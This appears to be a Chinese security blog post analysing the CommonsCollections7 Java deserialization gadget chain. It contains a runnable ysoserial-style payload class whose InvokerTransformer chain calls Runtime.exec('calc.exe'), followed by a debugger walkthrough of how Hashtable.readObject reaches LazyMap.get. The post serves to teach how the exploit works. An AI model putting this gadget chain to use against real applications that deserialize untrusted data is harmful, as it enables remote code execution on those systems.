安全新闻:CommonsCollections7 (CC7链)分析

CommonsCollections7 (CC7链)

说明

导入依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

利用链

Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
 LazyMap.equals 没实现,找父类
    AbstractMapDecorator.equals
       HashMap.equals 没实现,找父类
          AbstractMap.equals
             LazyMap.get
  ChainedTransformer.transform()
                   ConstantTransformer.transform()
                   InvokerTransformer.transform()

ysoserial简化后的payload

package com.ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CommonCollections7 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
   Transformer transformerChain = new ChainedTransformer(new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
           new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
  });

   HashMap hashMap1 = new HashMap();
   HashMap hashMap2 = new HashMap();

   Map map1=LazyMap.decorate(hashMap1,transformerChain);
   map1.put("1",1);
   Map map2 = LazyMap.decorate(hashMap2, transformerChain);
   map2.put("2",2);

   Hashtable hashtable = new Hashtable();
   hashtable.put(map1,1);
   hashtable.put(map2,2);


   //序列化
   ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
   ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
   objectOutputStream.writeObject(hashtable);
   byteArrayOutputStream.flush();
   byte[] bytes = byteArrayOutputStream.toByteArray();


   //反序列化
   ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
   ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
   objectInputStream.readObject();

}
}

分析正文

老样子,首先是Hashtable的readObject()方法

安全新闻:CommonsCollections7 (CC7链)分析

安全新闻:CommonsCollections7 (CC7链)分析1

小知识:Entry是一个数据结构,这个类里存放了key和value,是许多map和set的底层数据结构

这里newTable是一个Entry数组,而且为空

由于我们在Hashtable中存入了两个键值对

Hashtable hashtable = new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,2);

所以这里的elements值为2,第一次读取key为map1,value为1,然后调用reconstitutionPut

安全新闻:CommonsCollections7 (CC7链)分析2

第一次调用reconstitutionPut,由于e为空所以不满足循环条件,然后将key和value存入上面说的newTable

这里的key为map1,value为1

调用完接着回到这个循环

安全新闻:CommonsCollections7 (CC7链)分析3

因为elements在上次值为2,这里elements–,值为1,依旧满足大于0的条件,继续进入循环,然后再次读取key和value,这里读取到的key为map2,value为2

然后继续调用reconstitutionPut

安全新闻:CommonsCollections7 (CC7链)分析4

这里我们动态调式出了index的值为0,因为上一次调用reconstitutionPut方法,往这个tab数组里存了值,所以这里tab[0]其实是存了map1和1的Entry类

安全新闻:CommonsCollections7 (CC7链)分析5

满足循环条件,然后在if语句里调用了e.key.equals(key),我们说过e的key为map1,而equals(key)里的key为map2,这里的map1和map2是LazyMap类型

Map map1=LazyMap.decorate(hashMap1,transformerChain);
map1.put("1",1);
Map map2 = LazyMap.decorate(hashMap2, transformerChain);
map2.put("2",2);

所以他其实就是调用LazyMap.equals()方法,然后传了一个map2,

又因为LazyMap里没有这个equals方法,所以他会去找他父类,他的父类为AbstractMapDecorator安全新闻:CommonsCollections7 (CC7链)分析6

他的父类实现了equals方法

安全新闻:CommonsCollections7 (CC7链)分析7

他去调用map属性的equals方法,这里的map其实是我们创建LazyMap时传入的HashMap

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map map1=LazyMap.decorate(hashMap1,transformerChain);
Map map2 = LazyMap.decorate(hashMap2, transformerChain);

然后他就去找HashMap的equals方法,HashMap没有equals,他就去找他爹

安全新闻:CommonsCollections7 (CC7链)分析8

这里的迭代器i其实是map1的entrySet()的迭代器,while循环里是拿到map1里的key和value,map1存的key为”1″和1

然后是m,这里的m其实是传递过来的map2,value不为空,所以他会走else,然后先调用m.get(key),实际就是map2.get(“1”)

map2我们说过他是LazyMap类型,他就去执行LazyMap的get方法

安全新闻:CommonsCollections7 (CC7链)分析9

我们都知道我们创建map2的时候,存入的key值是为”2″,而不是为”1″,而他这里问我们map2里包含1吗,肯定不包含,所以满足if条件,进入if语句

调用factory的transform方法,这个我们之前说过,不再复述

分析结束

召唤神龙!

安全新闻:CommonsCollections7 (CC7链)分析10

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论